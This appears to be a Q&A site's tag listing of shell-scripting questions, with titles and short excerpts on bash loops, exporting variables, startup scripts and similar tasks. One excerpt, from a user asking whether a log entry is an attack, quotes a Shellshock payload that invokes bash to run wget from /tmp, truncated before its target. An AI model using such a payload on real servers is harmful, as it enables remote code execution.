A shell script is a script written for the shell, or command line interpreter, of an operating system.

learn more… | top users | synonyms (1)

59
votes
7answers
68k views

Batch converting PNG to JPG in linux

Does anyone know a good way to batch-convert a bunch of PNGs into JPGs in linux? (I'm using Ubuntu). A png2jpg binary that I could just drop into a shell script would be ideal.
32
votes
3answers
31k views

What does export do in BASH? [duplicate]

Possible Duplicate: Difference between “a=b” and “export a=b” in bash It is hard to admit, but I have never really understood what exactly export does to an ...
28
votes
6answers
73k views

looping through `ls` results in bash shell script

Does any one have a template shell script for doing something with ls for a list of directory names and looping through each one and doing something? I'm planning to do ls -1d */ to get the list of ...
23
votes
10answers
204k views

How to execute .sh file on Windows?

When I am trying to execute a file(name.sh) in the command line by the command ./name.sh , I am getting the error that: "." is not recognized as an internal or external command, operable or ...
22
votes
3answers
3k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
16
votes
4answers
11k views

Should I put *.sh and *.rb file extensions on all my scripts?

I have a bunch of hand-rolled executable scripts in my $HOME/bin directory. Some are written in bash, some in Ruby. All of them have the shebang line at the top telling the shell what interpreter to ...
14
votes
11answers
58k views

Populating Array in DOS Batch Script

How can I setup an array variable in a DOS batch script? I would like to load it with a list of file names to process. I really would like to keep this as simple as possible. Thank you.
13
votes
6answers
8k views

Log rotation of stdout?

I have a Linux program which can write information to stdout and stderr. I have a shell script which redirects that output to a file in /var/log. (Via >> and 2>&1.) Is there a way to ...
13
votes
2answers
63k views

How do I concatenate strings in a bash script?

How can I concatenate strings and variables in a shell script? stringOne = "foo" stringTwo = "anythingButBar" stringThree = "? and ?" I want to output "foo and anythingButBar"
13
votes
3answers
6k views

Escaping apostrophe in single quotes string in bash

I don't understand how Bash evaluates escaping of apostrophe characters in single quoted strings. $ echo ''\''Hello World'\''' 'Hello World' #works $ echo '\'Hello World\'' > # expects you to ...
12
votes
3answers
12k views

Determine the architecture of a Mac from the command line or script?

I'm writing a shell script, and I need to know the architecture, i.e. PPC or Intel. Back in the day, there was a program /bin/arch that told you, but my mac doesn't seem to have it... Is there an easy ...
11
votes
3answers
5k views

How do I launch a bash script from Finder in OS X?

How do I launch a bash script from Finder in OS X? I'm OK working at the CLI, but my little script is not so loved by my GUI-bound colleagues.
11
votes
3answers
7k views

Bash shell: list all files of type .png or .PNG?

In a bash script, how can I say 'for all files of type .png or .PNG'? I'm trying : for i in (`ls *.PNG` && `ls *.png`) but getting a syntax error.
11
votes
2answers
10k views

Programmatically open tab in gnome-terminal, execute command, and have tab stay open

I am trying to write a command that will launch a few terminal tabs, execute something in each tab, and have each tab stay open after the command in finished, so I can look at the output and type more ...
10
votes
2answers
9k views

Avoid unwanted path in Zip file

I'm making a shell script to package some files. I'm zipping a directory like this: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ The problem is that the ...
9
votes
3answers
44k views

How to execute a shell script on startup?

I have created a script to start a server (my first question). Now I want it to run on the system boot and start the defined server. What should I do to get this done? My findings tell me put this ...
9
votes
3answers
9k views

Passing two arguments to a command using pipes

Usually, we only need to pass one argument: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file Is there a way to pass two arguments? Something like {echo abc , echo xyz} | cat ...
8
votes
11answers
9k views

how to `tail` the latest file in a directory

In shell, how can I tail the latest file created in a directory?
8
votes
3answers
663 views

How can I run my python program directly from the shell?

I wrote a script. When it starts, it won't stop, and it keeps getting data from the Internet. I can call it this way: cd /User/Desktop/project/internetScanner/ python3 main.py start But I would ...
8
votes
7answers
57k views

ssh and shell through ssh : how to exit?

I'm launching a distant script through SSH like this: ssh user@ipaddress '~/my_script.sh' Everything is going fine but once the script is finished, the connection is not closed. I Have to press ...
8
votes
5answers
5k views

Run script in OS X 10.6 on network connection. (like /etc/network/if-up.d/)

Is there any way to run a script when a network interface comes up in Mac OS X? I've tried putting a script named ip-up in /etc/ppp but it doesn't seem to fire when I disconnect and reconnect to a ...
8
votes
2answers
2k views

Writing shell scripts that will run on any shell (using multiple shebang lines?)

I've just started getting deeper into shell scripting, and I've always just thrown my script in a file, marked it chmod +x and then done /path/to/script.sh and let whatever interpreter is the default ...
8
votes
5answers
11k views

Run a shell script on OS X without having a terminal window appear?

I'm trying to set up a few keyboard shortcuts that open specific iTerm sessions, which I was able to do with BetterTouchTool and a bit of AppleScript magic. The problem is that OS X insists to open a ...
7
votes
7answers
70k views

How can I run a shell script in Windows?

I'm a Mac user and new to Windows. How can I execute a shell script in Windows? Generally, I would save the text file with the extension .sh and run it via Terminal. But how could I do that in ...
7
votes
2answers
706 views

How do I delete a file named “-p” from bash?

How do I delete a file named -p in bash? Trying rm "-p" complains that -p is not a valid argument.
7
votes
5answers
6k views

How to echo commands in a bash shell script, but not execute them?

Is there a way for running a shell script with echoing the commands but w/o actually executing them? Let's say I have script removing a file whose name is stored in a variable: #!/bin/bash set -v ...
7
votes
3answers
3k views

How to extract a complete list of extension types within a directory?

Within a directory, and recursively within it's sub-directories, meaning every directory within a directory is processed, how do I compile a complete list of unique extensions within the directory? ...
7
votes
4answers
1k views

Looking for a regular expression to work on a list of comma separated values

I have line of 3 long numbers separated by comma. What I want to do is to delete the number in the middle, and leave only first number and last number separated by a comma. Currently: ...
7
votes
1answer
2k views

Shell script to find all types of files in a directory with their count

I want to write a shell script or alias to find the number of different types of files in a directory. For example, sample output of script should be: *.h 20 *.c 40 *.cpp 10 Makefile 3
7
votes
2answers
2k views

Gnu Screen: Execute command on attach

Is there a way to have GNU Screen detect when it is being attached and to execute a shell script that I have whenever it is attached? The reason for this is that I want to keep my display variables ...
7
votes
1answer
325 views

How to change the appearance of empty folders in finder using Automator?

I'm trying to use Apple Automator to label empty folders in a heirarchy. Basically, I start off a project with a heirarchy of empty folders and fill them as I work. I want a workflow to label all ...
6
votes
2answers
25k views

How to find all soft links (symbolic links) in current directory?

Question relates to shell-scripting in bash. How to check with a script which files within the current directory are soft links? In case I have used the wrong term, when I say soft links, I am ...
6
votes
6answers
11k views

Starting a linux process in the background

I'm trying to create a script which starts some programs startup.sh knetworkmanager emesene keepassx The problem is that when I run the script, it only starts knetworkmanager. This is because ...
6
votes
1answer
2k views

Why use parens instead of backticks for executing a command 'in situ'?

I have recently started to shift my shell scripting from utilizing backticks to parens to execute a command in situ and use the results in something else. Eg: for line in `cat file` do echo ...
6
votes
3answers
4k views

Test if a package is installed in APT

I want a shell script method to test/report if a package is installed. I don't need details, only boolean return to set logic flow. I looked at Find if a package is installed, but dpkg returns complex ...
6
votes
1answer
21k views

Bash & 'su' script giving an error “standard in must be a tty”

Folks, I'm having an issue with a bash script which runs a particular command as a different user. The background: Running on a Linux box (CentOS), the script is quite simple, it's starting the ...
6
votes
2answers
4k views

Recursive unrar of several folders

I have several RAR archives spread around multiple directories but all under a particular root folder on my Debian based NAS. Could someone help me write a simple script that would recursively go into ...
6
votes
3answers
464 views

Portable method of opening a new terminal window?

So, I'm working on a custom makefile script (for TinyOS, if anyone cares) that builds a file and then runs it in a simulator. The problem is that the simulator takes it's input from standard in, and ...
6
votes
4answers
967 views

Run Linux command as predefined user

I have created a shell script to start a server program. startup.sh start When above command will executes, it will try starts the server as adminuser. To achieve this my script has written like ...
6
votes
2answers
67 views

Process files in a folder that haven't previously been processed

I have a series of files in a directory that I need to carry an action out on using a script. Once the action is done, then I want to keep a log that the file has been processed, so that the next ...
5
votes
6answers
405 views

Find all filename.ext1 where no filename.ext2 exists in OS X or the shell

I need to create both TIF and JPG versions of a large set of images. All JPG images already exist, but only a part of the TIF images. Is there an easy way to search a directory to find all JPG files ...
5
votes
4answers
4k views

How to replace part of a text file between markers with another text file?

Say I have a text file like this: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT I'd like to replace the portion between the GENERATED CONTENT tags with the ...
5
votes
3answers
3k views

How do you get Ubuntu to automatically run a program every time the screen is unlocked?

I have a script I would like to have automatically invoked every time the screen is unlocked. Does Ubuntu provide some support for users who wish to do this?
5
votes
3answers
7k views

Check if any of the parameters to a bash script match a string

I'm trying to write a script where I want to check if any of the parameters passed to a bash script match a string. The way I have it setup right now is if [ "$3" != "-disCopperBld" -a "$4" != ...
5
votes
3answers
2k views

How to script a database migration using an SSH tunnel?

I am trying to create a sync.sh script that coordinates with our less-than-ideal version control for our website. This script will migrate a live copy of the database to our development environment ...
5
votes
3answers
5k views

How to download this webpage with wget?

I want to download this webpage: http://forum.ubuntu-it.org/ but it require username and password. So I have used this wget --save-cookies cookies.txt --post-data ...
5
votes
2answers
384 views

Bash: How to list n random number of files (not head or tail)

I have a large directory containing numerous files of similar kind. I have to send few random files for auditing. These files should not be from the top or bottom (eg. not in head or tail). This is ...
5
votes
1answer
6k views

Why do I Get [[: not found When Running a Script?

I'm trying to write a script that has to check if a file exists. In the console I write if [[ -a /path/to/file.txt ]]; then echo "not mod"; else echo "mod"; fi and I get not mod but when I write ...
5
votes
1answer
2k views

Echo text in a certain color in a shell script

I am about to write a shell script. I would like to be able to visually distinguish some of its output text as a warning, by setting its color to yellow. How is this done?
5
votes
2answers
440 views

Efficient way to use all cores in bash or zsh script

If I want to process large number of files with command "do_something" which only can use one core, what's the best way to use all available cores assuming each file can be processed independently? ...